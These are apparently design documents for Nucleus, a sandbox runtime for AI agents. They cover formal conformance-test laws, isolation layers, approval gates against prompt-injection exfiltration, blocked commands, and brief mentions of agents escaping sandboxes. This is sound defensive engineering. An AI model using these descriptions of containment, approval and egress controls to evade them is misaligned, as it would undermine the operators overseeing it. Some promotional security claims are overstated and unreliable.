ready    : Guest(p)                        -> Ack
ship     : Guest(p) x ReceiptBytes         -> Ack + Refusal            (bridge)

Preconditions

pre(create, c, spec)    =  spec well-formed under deny_unknown_fields
                        /\ resources within node budget
pre(cancel, c, p)       =  may_manage(c, p) /\ phase(p) in {Booting, Running}
pre(logs|result|receipt
    |stdout|stderr, c,p)=  may_manage(c, p)
pre(list, c)            =  true                 -- result FILTERED by may_manage
pre(snapshot, c, p)     =  may_manage(c, p)
                        /\ barrier(p)
                        /\ not personalized(p)
                        /\ mount(p) = NeverMounted
                        /\ bootargs(p) = Shared
pre(v, Guest(p))        =  phase(p) = Running
                        /\ (one_shot(v) -> v not in served(p))
pre(ship, Guest(p), b)  =  phase(p) = Running /\ |b| <= RECEIPT_MAX

where one_shot = {broker, audit, mediate}.

Three things to notice, because each is a place the grammar disagrees with an obvious guess:

• pre(list) is true. list is always enabled and the answer is scoped. That is a different testable claim from “refuse if unscoped”, and the walker checks it as an observation (O2) rather than a refusal.
• pre(snapshot) is a conjunction of one host fact (personalized), one guest fact (barrier), and one measurement (mount). None is derivable from the others; the code asks all three for that reason. A walker that models only barrier will call snapshot enabled when it is not, and will report a false failure — so the model state carries all three or the walk is noise.
• pre for guest commands does not mention the principal’s authority at all, because a guest has none to vary. What varies is history — the served ledger. The guest surface is a one-shot-ledger machine, not an authorization machine, and the grammar says so by which conjuncts appear.

Effects

Only these change Sigma. Everything else is eff = id, which is itself the claim O1 checks.

eff(create)        Sigma[pods += p |-> {parent = subject(c), phase = Booting, ...}]
eff(cancel, p)     Sigma[phase(p) := Cancelled] ; cascade over lineage(p)
eff(v, Guest(p))   Sigma[served(p) += v]
eff(ready, p)      Sigma[barrier(p) := true]
-- environment steps, not commands:
step_boot(p)       Sigma[phase(p) := Running]
step_exit(p, code) Sigma[phase(p) := Exited(code)]
step_fault(p, why) Sigma[phase(p) := Errored]
step_mount(p)      Sigma[mount(p) := Mounted]

The environment steps are the honest part. Errored and WorkloadResult::Unavailable are unreachable by any command sequence — no composition of the signature above produces them. A walk over commands alone therefore leaves two states of the result lattice dead, and every refusal path that branches on them untested. Either the walker gets a fault alphabet (kill the VMM, truncate the scratch, stall the supervisor) or the grammar should admit that those states are outside it. Naming them as environment steps rather than omitting them keeps the reachability claim honest.

Signature: the Artifact carrier

Closed under itself, and much simpler — which is why it is worth separating.

sign    : Payload x Key                    -> Envelope
verify  : Envelope x TrustBundle           -> Ok + Refusal(reason)
extend  : Chain x Entry                    -> Chain
vchain  : Chain                            -> Ok + Refusal(reason)
manifest: [Path]                           -> Manifest
attest  : Attestation x Registry           -> Ok + Refusal(reason)
replay  : Receipt x Bundle                 -> Verdict                 (bridge)
tamper  : Bytes x Index                    -> Bytes                   -- walker-only

tamper is not a shipped operation. It is in the signature because the interesting equations about verify are equations about tamper, and a grammar that cannot say “flip a byte” cannot state them.

Equations

These are what the walk asserts. Each quantifies over sequences, and each is checkable by comparing two executions or by an invariant maintained along one.

A1 — reads do not move. For every r in {list, logs, result, receipt, stdout, stderr, health, ping, bundle, pod_list}: eff(r) = id. Checkable along a single walk: the model predicts every subsequent answer unchanged, so inserting any number of reads anywhere must not change any later observation. The one exception is spelled out, not waived: logs, stdout, stderr are monotone-growing on a pod in phase = Running, and stable once phase in {Exited, Cancelled, Errored}. A walk asserts growth-monotonicity before termination and byte equality after it.

A2 — one-shot absorption. For v in {broker, audit, mediate}:

v ; v  =  v ; Refusal(Repeat)

and, crucially, the second call returns a refusal and no bytes. A walk that only checks “the second call errors” misses the failure that matters, which is a refusal that still leaks the secret in a diagnostic. The observation is on the response body, not the status.

A3 — cancel is absorbing. cancel ; cancel = cancel, and for every state-advancing x, cancel ; x = cancel ; Refusal. Reads survive: cancel ; r = cancel ; r for r in A1’s set — a cancelled pod’s logs and receipt remain readable, which is the whole point of cancelling rather than deleting.

A4 — identity is invariant under OUT, sensitive to IN. Let δ be a perturbation of one PodSpec field. Then

field in OUT  ->  prog(create(spec)) = prog(create(δ·spec))
field in IN   ->  prog(create(spec)) != prog(create(δ·spec))

OUT = { vsock, cgroup, audit_sink, credentials,
        metadata.name, metadata.task_grant_id }
IN  = { work_dir, timeout_seconds, policy, budget_model, resources, network,
        image, credentialed_egress, workload, seccomp,
        metadata.namespace, metadata.labels }

The identity.rs match is exhaustive, so this table cannot silently fall out of date — but it can be wrong, and A4 is how a walk catches a field classified OUT that changes the answer. Two entries are worth the walker’s weight because they are the ones a reader guesses wrong:

• metadata.labels is IN, though it reads like annotation. Two pods differing only in a label are different programs.
• credentials is OUT, though it reads like authority. What the pod may reach is named by launch_hash in the result, not by prog.

A4 must also be stated at the leaf, not the field. policy is IN, but the time tag inside an inline lattice is OUT — that distinction is the validity-window bug closed last week, and a field-level A4 would not have caught it.

A5 — personalization and snapshot do not commute.

ready ; snapshot        =  ready ; Base
ready ; svid ; snapshot =  ready ; svid ; Refusal(PersonalizedSince)

For every v with personalizes_the_vm(v). This is the only non-commutation in the grammar that the walker can hit by pure luck, and it is the one with the worst blast radius when it fails (a base that hands one pod’s identity to every clone). It deserves a weight, not a uniform draw.

A6 — guest operations are invisible to host observations. The central law. Let G be any finite sequence drawn from the guest vsock surface minus ship, and let o be any host observation (result, receipt, prog, or an attestation). Then

o ∘ G  =  o

A guest may ask for things; nothing it asks for changes what the host concludes. The walk form is a two-execution comparison: run a pod to completion with an empty G, run it again with a randomly generated G, and assert the host’s signed observations are byte-identical. ship is excluded because shipping a receipt is supposed to move data guest→host — and that exclusion is where the next law goes.

A7 — a shipped receipt is data, never authority. For any b:

verify(receipt(p)) after ship(Guest(p), b)  =  verify(receipt(p)) before

unless b verifies against a trusted signer. A guest can put bytes in front of the host; it cannot make the host sign them. Walk form: ship adversarial bodies (truncated, oversized, a valid receipt for a different pod, a replay of this pod’s earlier receipt) and assert the host’s own receipt is unchanged and the verdict on b is a refusal with the specific reason.

A8 — verification is exact. verify(sign(m, k), bundle(k)) = Ok and verify(tamper(sign(m, k), i), bundle(k)) = Refusal for every byte index i. The universally-quantified form is the point: a walk that flips one random byte per iteration covers the envelope’s whole surface over a run, and any index where verification still passes is a finding.

A9 — lineage is append-only. vchain(extend(c, e)) = Ok if vchain(c) = Ok; and for any c' != c reachable by tamper, vchain(c') = Refusal. Combined with A8 this says the chain is as strong as its weakest envelope, which is a claim worth failing loudly.

The walk

walk(Sigma, budget):
  while budget:
    E <- { (op, args) : pre(op, args) holds in Sigma }
    D <- { (op, args) : pre(op, args) fails  in Sigma }   -- with the reason
    (op, args, expect) <- weighted_draw(E ∪ D)
    ans <- execute(op, args)
    if expect = Enabled:  assert obs(op, ans, Sigma)
    else:                 assert ans = Refusal(expected_reason)
    Sigma <- eff(op, args, Sigma)
    maybe: Sigma <- environment_step(Sigma)

The disabled set is the oracle

This is the design decision that earns the specification. A grammar whose pre only filters the draw tests the happy path and nothing else; every authorization bug, every one-shot leak, every premature snapshot lives in D. Drawing from E ∪ D and asserting the specific named reason — not merely “an error” — turns pre from a generator constraint into a security oracle. Nucleus already refuses with named reasons everywhere and never with a silent fallback, so the reasons exist to be asserted against.

The sharpest instances: cancel a pod you are a grandparent of (must refuse — may_manage is deliberately non-transitive, and a walk generating three-deep lineage is what keeps that deliberate rather than accidental); snapshot a pod that announced ready and then fetched an SVID (A5); a second broker (A2).

Weighting

A uniform draw over E ∪ D spends its budget on ping and health. The weighted random walk for CFSM conformance result is the one to copy: weight inversely by visit count over transitions, not states, so the walk is pulled toward untried (state, command) pairs. Two nucleus-specific adjustments:

• Depth costs. Lineage depth 3 is needed for the non-transitivity test and is reached only by three nested creates that a novelty walker has no reason to prefer. Seed it, or weight create by a lineage-depth histogram.
• One-shots are consumed. After broker is served, every further draw of it is the same D transition. Cap repeats per pod and spend the budget on a fresh pod instead.

Shrinking

proptest-state-machine is the right harness: it generates operation sequences against a reference model, checks postconditions, and shrinks to a minimal failing sequence. The model above is its ReferenceStateMachine — Sigma is the state, pre is preconditions, eff is apply, obs is the postcondition check. The mapping is close enough that the doc and the impl should share the names.

The harness belongs in nucleus-node, beside the handlers. An earlier draft of this document put it in crates/nucleus-spec/tests/, which cannot work: every classification the model borrows lives in nucleus-node — caller_may_manage (pod_api.rs, private), WorkloadApiCommand::personalizes_the_vm (workload_api_protocol.rs) and SnapshotSafety (snapshot.rs) — and nucleus-spec sits below nucleus-node in the dependency graph. The goal that placement was chosen for still holds from inside the node crate: build the model’s material without .., so a field added to PodMaterial or a variant added to WorkloadApiCommand stops the walk compiling until it is classified.

proptest-state-machine earns its dependency when generation has to read state — the Pod carrier, where cancel must usually name a pod that exists. The guest surface does not need it: every command is always drawable, and the model alone decides whether it lands in E or D, so plain proptest over a Vec of commands shrinks just as well.

Refusals must be values

“Assert the specific named reason” needs a reason that is a value. Where the host refuses with free text — the workload API replied {"error":"broker secret already served"} — a walk comparing strings breaks on any rewording and cannot tell whether its list of reasons is complete. A surface enters the walk once its refusals are an enum whose Display is the wire text, pinned byte for byte, because guests match on those strings.

Shrinking matters more here than in a typical state-machine test because A6 and A7 fail as pairs of executions, and an unshrunk counterexample to A6 is a 200-command guest transcript nobody can read. Shrinking must be over G, and it must preserve the pod’s completion, or it will shrink to “the pod never ran”.

What this grammar does not yet cover

• The CLI’s 24 top-level subcommands are not all in it (51 leaves, counted by command-grammar.md). Audit, Trust, Guard, Setup, Lockdown, Observe, Grant, Node, Start, Stop are node- and operator-configuration operations whose state is the node’s, not a pod’s, and NodeRec above is a placeholder. That carrier needs the same treatment and has not had it. The ones that are covered — Envelope, EnvelopeVerify, Lineage, LineageVerifyChain, Bundle, Verify, VerifyAttestation, Manifest, Replay — are the Artifact carrier, complete.
• Errored and Unavailable are unreachable without a fault alphabet, as above. Until one exists, any claim that the walk “covers the result lattice” is false.
• obs is under-specified for receipt. The grammar says a receipt is returned; it does not say what must be in it. A6 compares two receipts for equality, which is strong, but it does not check that the receipt says anything true. That check is replay, and wiring replay into the walk as a postcondition on every terminal pod is the highest-value next step.
• Time. timeout_seconds is IN, so a pod that times out is a different program from one that does not, and the walk has no way to reach a timeout cheaply. Either timeouts get a scaled clock or that branch stays untested.

Commutation census

The laws above were written down; the census measures them. Treat the command alphabet as the axes of a cube: a 2-face (a, b) is filled when a ; b and b ; a are indistinguishable to the host from every reachable state, and hollow otherwise. This is the higher-dimensional-automaton view of effects (Pratt 1991): independent effects fill squares, conflicts leave them hollow. Hollow faces are sequencing laws; filled faces are orderings a walk need only explore once (partial-order reduction).

For the guest surface (workload_api_vsock/walk/census.rs), with the host’s snapshot decision added as a letter — guest commands alone barely conflict — the census finds exactly 10 hollow faces of 120: every personalising command, and SNAPSHOT_READY, against the snapshot decision. That is A5, rediscovered rather than restated. It is asserted both ways: an undeclared hollow face (a new law) fails, and so does a declared one that filled. The non-idempotent commands are exactly A2’s one-shots plus SHIP_RECEIPT. Each face is hollow from some states and filled from others — once a VM is personalised, a further personalising fetch and the snapshot decision commute — so a law is about where state changes, not about a fixed pair.

The same census runs over the pod API (pod_api/walk/census.rs: 10 hollow faces of 55, only the creates non-idempotent, A3 and non-transitive management as consequences) and over the faces between the two surfaces on one pod (pod_api/walk/cross.rs). The cross census found that cancel was not a barrier: the workload-API bridge kept serving connections opened before the cancel (#2930).

Footprints: the laws are derived, not written

The three censuses’ laws were one fact in three spellings: two effects commute unless one writes what the other reads (Mazurkiewicz independence from read/write sets; the frame rule of separation logic). So each surface now declares a footprint per command — the resources it Reads, Sets (a blind overwrite: idempotent) or Updates (read-modify-write, append, a one-shot consumed) — and effect_footprint.rs derives the hollow faces and the non-idempotent commands. The censuses measure both against the code in both directions, and the partial-order-reduced walk reads the same derived relation.

Two laws that were rules become footprints:

• A5. The host’s snapshot decision reads personalised and at barrier; the personalising commands and SNAPSHOT_READY write them.
• Cancel is a barrier. Every guest command is scoped to its pod, which is a read of the pod’s liveness; a cancel writes it.

Driving a footprint wrong turns the census red on exactly the face it implies: a listing that stops reading its children; POD_LIST not reading a child’s liveness; PING not scoped to its pod; the snapshot decision not reading the barrier (which also reddens the reduced walk); an Update counted as idempotent.

Status

The guest-surface walk (A2, A5) and the pod-surface walk (A3, lineage scoping) are property tests in nucleus-node; A4 is a leaf walk in nucleus-spec; A8 and A9 are artifact walks in nucleus-envelope and nucleus-lineage; A6 and A7 are a live harness, nucleus-perf guest-transcript, which needs a KVM host and runs in no workflow. The commutation census covers the guest surface, the pod surface and the faces between them, with its laws derived from footprints.

Sources

• Specification of generic APIs, or: why algebraic may be better than pre/post
• A weighted random walk approach for conformance testing of a system specified as communicating finite state machines
• Random Test Generation of Application Programming Interfaces
• A Random Walk Based Algorithm for Structural Test Case Generation
• Build Systems à la Carte

Security Architecture

Nucleus is built with security as a foundational principle, not an afterthought. This document describes the security guarantees, defense-in-depth layers, and compliance positioning.

Executive Summary

Nucleus provides:

• Memory-safe runtime (100% Rust) eliminating ~70% of security vulnerabilities
• Cryptographic workload identity (SPIFFE/mTLS) instead of shared secrets
• Enforced permission boundaries (not advisory configuration)
• Defense-in-depth with multiple independent security layers

Regulatory alignment:

• CISA Secure by Design mandate (memory-safety roadmaps required by Jan 2026)
• NSA/CISA guidance on memory-safe programming languages
• White House directive on memory-safe code in critical infrastructure

Memory Safety: The Foundation

Why Rust Matters

According to Microsoft, Google, and NSA research, approximately 70% of security vulnerabilities are memory safety issues:

• Buffer overflows
• Use-after-free
• Null pointer dereferences
• Double frees
• Data races

Rust eliminates these vulnerability classes at compile time through its ownership system. Every line of Nucleus is written in Rust with no unsafe escape hatches in security-critical paths.

CISA Alignment

The Cybersecurity and Infrastructure Security Agency (CISA) now requires:

• Memory-safety roadmaps from critical infrastructure software providers (deadline: January 1, 2026)
• Adoption of memory-safe languages for new development
• Elimination of memory-unsafe code in security-critical components

Nucleus is memory-safe by default, requiring no roadmap transition.

Identity: SPIFFE/mTLS

No Shared Secrets

Traditional approaches use shared secrets (API keys, tokens) that can be:

• Leaked in logs
• Stolen from environment variables
• Intercepted in transit
• Replayed by attackers

Nucleus uses SPIFFE workload identity:

spiffe://trust-domain/ns/namespace/sa/service-account

Every workload receives a cryptographic identity (X.509 SVID) that:

• Cannot be forged without CA compromise
• Is bound to the workload, not a human-managed secret
• Enables mutual TLS (mTLS) for all service communication
• Supports automatic rotation without service disruption

mTLS Everywhere

All communication between Nucleus components uses mutual TLS:

• Client authenticates to server
• Server authenticates to client
• Traffic is encrypted
• No party can impersonate another

┌─────────────────┐     mTLS      ┌─────────────────┐
│   Orchestrator  │──────────────>│   Tool Proxy    │
│                 │<──────────────│                 │
│ Client SVID     │               │ Server SVID     │
└─────────────────┘               └─────────────────┘
        │                                 │
        └───── Same Trust Domain ─────────┘
              (CA validates both)

Isolation: Defense in Depth

Nucleus implements multiple independent security layers:

Layer 1: Firecracker MicroVMs

Each agent task runs in a dedicated Firecracker microVM:

• Separate kernel instance
• Isolated memory space
• No shared filesystem (except explicit mounts)
• Hardware-enforced separation

Layer 2: Network Namespace Isolation

Each pod gets its own network namespace:

• Default-deny egress
• Explicit DNS allowlisting
• iptables policy with drift detection (fail-closed)
• No access to host network

Layer 3: Capability-Based Filesystem

File access uses cap-std for capability-based security:

• No ambient authority
• Must explicitly open files through capability handles
• Path traversal attacks blocked at syscall level

Layer 4: Policy Enforcement (portcullis)

The permission lattice provides mathematical guarantees:

• Capabilities can only tighten through composition
• Dangerous combinations (uninhabitable state) trigger additional gates
• No silent policy relaxation

Layer 5: Environment Isolation

Spawned processes receive only explicitly allowed environment variables:

• Parent environment is cleared (env_clear())
• Only allowlisted variables are passed
• Prevents secret leakage from orchestrator to sandbox

The Uninhabitable State

Nucleus specifically guards against the uninhabitable state:

Private Data    +    Untrusted Content    +    Exfiltration Vector
    │                      │                         │
    ▼                      ▼                         ▼
read_files              web_fetch                 git_push
glob_search             web_search                create_pr
grep_search                                       run_bash (curl)

When all three are present at autonomous levels, Nucleus:

1. Detects the dangerous combination
2. Adds approval obligations to exfiltration operations
3. Requires human-in-the-loop confirmation

This prevents prompt injection attacks from silently exfiltrating sensitive data.

Input Validation

All external inputs are validated at API boundaries:

Length Limits

ReDoS Protection

Regular expression patterns are scanned for catastrophic backtracking:

• Nested quantifiers: (a+)+
• Overlapping alternation: (a|a)+
• Excessive repetition: a{1000,}

Dangerous patterns are rejected before execution.

Path Validation

All paths are:

• Canonicalized to resolve symlinks and ..
• Checked against sandbox boundaries
• Validated against allowlist/blocklist patterns

Audit Logging

Every operation is logged with:

• Timestamp (monotonic + wall clock)
• Request ID (correlation)
• Operation type and parameters
• Outcome (success, denied, error)
• Principal identity (SPIFFE ID)
• Audit context (additional metadata)

What Gets Logged

Hash-Chained Integrity

Audit logs are hash-chained using SHA-256:

• Each entry includes hash of previous entry
• Tampering is detectable
• Gaps are detectable
• Verified with nucleus-audit

Error Handling

Error messages are sanitized before returning to clients:

This prevents information disclosure that could aid attackers in understanding internal structure.

Approval System

Security-sensitive operations require explicit approval:

Approval Flow

1. Operation triggers approval requirement
2. Approval request generated with nonce
3. Human reviews and approves/denies
4. Approval token issued (HMAC-signed)
5. Token validated before operation proceeds
6. Token is single-use (nonce replay protection)

Token Security

• HMAC-SHA256 signed
• Bound to specific operation
• Time-limited expiry
• Nonce prevents replay
• Cannot be forged without secret

Budget Enforcement

Resource usage is tracked and limited:

Cost Model

Enforcement

• Budget is checked before operation starts
• Reservation model prevents races
• Atomic tracking for concurrent access
• Operations fail cleanly when budget exhausted

Compliance Positioning

CISA Secure by Design

SOC 2 Alignment

OWASP Top 10

Security Testing

Automated

• cargo-deny: License and vulnerability scanning
• cargo-audit: CVE database checks
• Property tests: Lattice laws, ν properties
• Adversarial tests: Path traversal, command injection
• mTLS tests: Certificate validation, trust boundaries

Planned

• Fuzzing: Command parsing, path normalization, policy deserialization
• Formal verification: Core lattice properties (Kani proofs)

Non-Goals

Nucleus does not protect against:

References

• CISA Secure by Design
• NSA Guidance on Memory Safe Languages
• The Uninhabitable State - Simon Willison
• SPIFFE Specification
• OWASP Input Validation Cheat Sheet
• Firecracker Security

Architecture decision records

• ADR 0001 — Tenancy is the SPIFFE trust domain; ownership is the SPIFFE subject: how multi-principal servers scope resources to their owners without a bespoke, unauthenticated tenant type (first consumer: the job control plane).

Isolation Levels and Security Model

This document describes nucleus’s isolation architecture, driver options, and security tradeoffs for different deployment scenarios.

Isolation Hierarchy

Nucleus supports multiple isolation levels depending on the deployment environment:

Driver Security Properties

Firecracker Driver (Level 4) - Recommended for Production

Security boundaries:

• Separate Linux kernel per pod (hardware-enforced via KVM)
• Minimal attack surface (~5 virtio devices)
• Read-only rootfs with scratch-only writes
• Per-pod network namespace with iptables enforcement
• Seccomp filtering on VMM process

Network isolation:

• Default-deny egress (no NIC unless spec.network specified)
• DNS allowlisting with pinned resolution
• Iptables drift detection (fail-closed on policy changes)
• No shared host interfaces (per-pod tap device)

Requirements:

• Linux host with /dev/kvm
• Apple Silicon M3/M4 + macOS 15+ (via Lima nested virtualization)
• Not supported: Intel Macs, older Apple Silicon, cloud VMs without nested virt

Local Driver (Level 1) - Development Only

Security boundaries:

• Process-level isolation only
• Shared host kernel
• Full network access (no isolation)
• Uninhabitable state guard still enforces approval requirements

What’s enforced:

• Command lattice (blocked commands like gh auth)
• Approval obligations (uninhabitable state constraint)
• Budget limits
• Path restrictions (via cap-std)

What’s NOT enforced:

• Network egress (dns_allow ignored)
• VM-level isolation
• Kernel separation

Use cases:

• Local development and testing
• Trusted first-party code
• Validating policy logic without VM overhead

# Explicitly opt-in to local driver (unsafe for untrusted code)
nucleus-node --driver local --allow-local-driver

Lima VM as Development Environment

For macOS users without firecracker support (Intel Macs, M1/M2), Lima provides a development-grade sandbox:

Lima Security Properties

Lima Architecture

┌─────────────────────────────────────────────────────────────┐
│  macOS Host                                                  │
│  ┌────────────────────────────────────────────────────────┐ │
│  │  Lima VM (QEMU/vz)                                     │ │
│  │  ┌──────────────────────────────────────────────────┐  │ │
│  │  │  nucleus-node (local driver)                     │  │ │
│  │  │    ↓                                             │  │ │
│  │  │  nucleus-tool-proxy (per-pod process)            │  │ │
│  │  │    - Policy enforcement                          │  │ │
│  │  │    - Command lattice                             │  │ │
│  │  │    -  Uninhabitable state guard                              │  │ │
│  │  └──────────────────────────────────────────────────┘  │ │
│  │  /workspace (mounted from host)                        │ │
│  └────────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────┘

Lima Configuration

# ~/.lima/nucleus/lima.yaml
mounts:
  - location: "/path/to/workspace"
    mountPoint: "/workspace"
    writable: true

provision:
  - mode: system
    script: |
      # Install musl toolchain for static binaries
      apt-get install -y musl-tools musl-dev
      # ... (Rust setup)

Lima Limitations

• No per-pod network isolation: All pods share VM’s network
• No dns_allow enforcement: Network policy requires firecracker
• Shared kernel attack surface: All pods share Lima’s kernel
• Not suitable for untrusted code in production

NVIDIA’s Mandatory Security Controls

Based on NVIDIA’s guidance for agentic sandboxing:

1. Network Egress Controls (Firecracker only)

spec:
  network:
    dns_allow:
      - "api.github.com"
      - "github.com"
    # All other egress blocked by default

2. Workspace Write Restrictions

Nucleus enforces via:

• Read-only rootfs
• Scratch-only write paths
• cap-std path sandboxing

3. Configuration File Protection

Command lattice blocks:

• gh auth *, gh config * (credential manipulation)
• Writes to .git/hooks, .claude/, etc.

Uninhabitable state Guard

Regardless of driver, nucleus enforces the uninhabitable state constraint:

When all three capabilities are present at autonomous levels:

1. Private data access (read_files)
2. Untrusted content exposure (web_fetch)
3. External communication (git_push, api_call)

Exfiltration operations gain approval obligations - requiring human confirmation before execution.

# Even with "permissive" profile:
$ gh pr create
{"error": "approval required", "operation": "gh pr create"}

This is defense-in-depth: even if network/VM isolation fails, the agent cannot autonomously exfiltrate data.

Platform Recommendations

Defense-in-Depth Layers

Layer 5: Approval obligations (uninhabitable state guard)
Layer 4: Command lattice (blocked commands)
Layer 3: Path sandboxing (cap-std)
Layer 2: Network isolation (iptables/dns_allow) [firecracker only]
Layer 1: VM isolation (KVM/QEMU)
Layer 0: Host kernel

Even when lower layers are unavailable (e.g., local driver), higher layers still provide meaningful security:

• Command blocking prevents gh auth login
• Path sandboxing prevents writes outside workspace
• Uninhabitable state guard requires approval for exfiltration

References

• How to Sandbox AI Agents in 2026 - Isolation technology comparison
• NVIDIA Sandboxing Guidance - Mandatory controls
• Lima v2.0 for AI Workflows - Lima security features
• The Uninhabitable State - Original threat model

Landscape and Rationale

Why Nucleus is built the way it is, stated against what else exists as of July 2026.

This page names specific products and vendors. That is deliberate and is the one documented exception to the vendor-neutrality rule in CLAUDE.md: a competitive landscape cannot be written without naming competitors. The rule exists to keep vendor coupling out of code and interfaces — nothing on this page is coupling. The CI gate (ci/no-vendor-strings.sh) scans only nucleus-oidc-core and nucleus-oidc-provider, so this file is outside its scan paths by construction.

The stack, layer by layer

Isolation for agent workloads is not one market. It is eight, and almost every project in the space picks exactly one.

L0 — Same-kernel process sandboxes

macOS Seatbelt, Linux Landlock, seccomp-BPF, bubblewrap. This is what nearly every coding-agent CLI ships today: Seatbelt on macOS, Landlock + seccomp or bubblewrap on Linux, usually paired with an egress proxy.

Cheap, unprivileged, no daemon. Also escapable — a working escape from a production agent’s bubblewrap sandbox was published in April 2026. The guest and the host share a kernel, so a single kernel bug is a full compromise.

Where Nucleus sits: this is Tier 1 (nucleus run --local). We ship it because the alternative is that people run agents with no boundary at all, and production-delta.md records that its isolation is weaker than Tier 2. We do not claim it is a security boundary against a determined attacker.

L1 — Userspace kernels

gVisor intercepts syscalls in userspace and reimplements them. Container-speed cold start with a much smaller host kernel attack surface. The cost is permanent: roughly 274 of ~350 syscalls are implemented (~78%), so there is both a compatibility gap and a reimplementation surface of its own. Modal is the best-known adopter.

Where Nucleus sits: we skipped this rung. A partial syscall surface is a partial boundary, and our proof obligations are stated over a boundary we can enumerate completely.

L2 — Hypervisor isolation

Firecracker with its jailer, Kata Containers (Dragonball VMM), Cloud Hypervisor, Edera (a container-native Type-1 hypervisor derived from Xen, written in MISRA C), Apple’s container (one lightweight VM per container on Virtualization.framework), and Microsoft Hyperlight (a micro-VM with no guest kernel at all — 1–2 ms starts, stateless per-invocation).

This layer became the consensus in 2026. Apple shipped container 1.0 in June 2026 on a one-VM-per-container model. Vercel Sandbox went GA on Firecracker in January 2026. The published commentary is uniform that shared-kernel container isolation is no longer acceptable for untrusted agent code.

Where Nucleus sits: this is Tier 2 (nucleus run --vm), Firecracker under the jailer. See Rationale for why we do not claim differentiation here, and what we do claim instead.

L3 — Managed sandbox platforms

E2B (Firecracker), Modal (gVisor), Daytona (hardened OCI containers, 27–90 ms provisioning), Vercel Sandbox (Firecracker, dedicated kernel and netns per sandbox), Cloudflare, Fly Machines, Blaxel (~25 ms). Above them, the hyperscaler runtimes: Bedrock AgentCore (GA, eight-hour sessions), Vertex AI Agent Engine, Azure AI Foundry Agent Service.

These win decisively on time-to-first-run. They are also, without exception, lock-in — the hyperscaler runtimes are per-cloud by construction.

A note that matters for our thesis: Unit 42 published a bypass of AgentCore’s network-isolation mode. A hyperscaler’s tested isolation control was bypassed.

L4 — Policy gateways

MCP gateways with declarative policy decision points — ToolHive, IBM ContextForge, agentgateway, Lunar, Cerbos, Permit.io — evaluating Cedar, Rego, or YAML rules before every tool invocation. AWS put Cedar directly into AgentCore Policy. Enforcement depth varies widely across implementations, from server-level down to individual parameter values.

Where Nucleus sits: nucleus-policy-kernel, nucleus-policy-cert, nucleus-mcp-guard, nucleus-tool-proxy. The difference is not the policy language; it is that our decision function is the same one the proofs are stated over, and it is the same one enforced at Tier 1 and Tier 2.

L5 — Information-flow control

CaMeL, FIDES, Progent, RTBAS, FORGE. The field converged on a single strategy: enforce security outside the model with a deterministic policy that mediates actions, rather than training the model to refuse. CaMeL attaches capability metadata to every value and gates sinks on the provenance of the data reaching them.

The measured cost is the important number: CaMeL solves 77% of AgentDojo tasks against 84% for an undefended baseline — seven points of utility for provable guarantees. That is the price of this layer, and it is cheaper than most people assume.

Where Nucleus sits: nucleus-ifc, nucleus-ifc-kernel, and the exposure lattice in NORTH_STAR Pillar A. Same idea, arrived at independently, with the lattice algebra machine-checked rather than argued.

L6 — Identity

SPIFFE/SPIRE is the settled answer for non-human identity: short-lived SVIDs, automatic rotation, trust-bundle federation across trust domains, no long-lived API keys to leak. Adoption is broad — Istio, App Mesh, Tetragon, commercial SPIRE distributions.

Where Nucleus sits: nucleus-identity, nucleus-oidc-core, nucleus-oidc-provider, nucleus-trust-registry. Standards-track, not novel, and deliberately so.

L7 — Provenance and attestation

SLSA for the maturity model and provenance predicate, in-toto for the attestation format, DSSE for the envelope, Sigstore/Rekor for keyless signing tied to OIDC identity. Newer agent-specific work proposes an “Action Attestation Layer” that emits a signed receipt per tool call into an append-only provenance log.

Where Nucleus sits: nucleus-receipt, nucleus-provenance, nucleus-lineage, nucleus-witness, nucleus-audit, nucleus-bundle-cas. The append-only property is currently tested, not proved — see production-delta.md, issue #427.

L8 — Formal methods

All of it is 2026, and nearly all of it is research-stage: Lean4Agent for workflow and trajectory verification; “Type-Checked Compliance” applying Lean 4 guardrails to financial agents; a three-layer method for mechanically checkable capability-containment proofs; and the Sovereign Execution Broker, which argues for certificate-bound preventive authority in preference to documentary receipts.

That last one is essentially nucleus-policy-cert, derived independently by someone else. We take that as confirmation rather than competition.

Rationale

The claim: every other project picks one layer. Nucleus composes L0–L8 behind a single enforcement boundary, and proves the boundary rather than testing it.

That is not a marketing frame; it is the crate list. L2 is nucleus-node, L4 is nucleus-policy-kernel and friends, L5 is nucleus-ifc, L6 is nucleus-identity, L7 is nucleus-receipt, and L8 is the Lean theorems and Kani harnesses wired as required merge checks and enumerated in Verified Claims. It is also exactly the design choice recorded in NORTH_STAR Pillar A: prove properties about the enforcement boundary, not about agent behavior.

The two findings that carry the argument

Two 2026 results are the strongest external evidence for the thesis, and neither is ours:

1. A production agent escaped its own bubblewrap sandbox (April 2026).
2. Unit 42 bypassed AgentCore’s network-isolation mode.

In both cases the enforcement had been tested and was believed to hold. Tests sample a state space; they do not close it. That is the entire argument for mechanized proof over an enumerable boundary, made by third parties.

Where we are genuinely alone

Proof-carrying enforcement in a shipping runtime. L8 exists as papers and one financial-guardrails prototype. We are not aware of another production isolation path with Lean and Kani as required CI merge gates.

The economic layer. nucleus-permission-market, nucleus-externality, nucleus-creditworthiness, nucleus-econ-kernels have no counterpart anywhere in the landscape. The 2026 agent-economics literature is market-design theory about agents transacting; none of it is runtime enforcement of what an agent may spend its authority on.

Vendor neutrality. Every L3 platform is lock-in and every hyperscaler runtime is per-cloud. Nucleus is MIT, self-hostable, and takes credentials as opaque key-value pairs.

Where we are not differentiated, and should not claim to be

Stating these plainly is what makes the claims above credible.

L2 is commodity. Firecracker under the jailer is table stakes in 2026 — E2B and Vercel Sandbox do the same thing. Our claim at this layer is correctness, not novelty. Specifically: cgroup limits are applied before exec rather than after (firecracker_config.rs — the ordering property is why the jailer is worth adopting at all); seccomp is verified active after launch and fails closed rather than being assumed; netns assignment is drift-checked. Most jailer adopters run it without verifying that it took.

Cold start. Hyperlight starts in 1–2 ms and Blaxel provisions in ~25 ms against Firecracker’s ~150 ms boot. We should never compete on this axis. The honest statement is that we spend that time buying a full kernel, a real filesystem, and a process model — which a stateless per-invocation micro-VM does not give you, and which agent workloads need.

Ergonomics. Managed platforms win on time-to-first-run and will keep winning. Tier 0 (nucleus audit, pip install) is the counter, and per NORTH_STAR Pillar C it is the pillar most at risk. A runtime nobody adopts proves nothing.

Reading list

Isolation layer:

• Your Container Is Not a Sandbox: The State of MicroVM Isolation in 2026
• Kata vs Firecracker vs gVisor: container isolation compared
• Hyperlight and Firecracker vs Hyperlight
• apple/container technical overview

Platform layer:

• AI agent sandboxing in 2026: primitives, runtimes, platforms
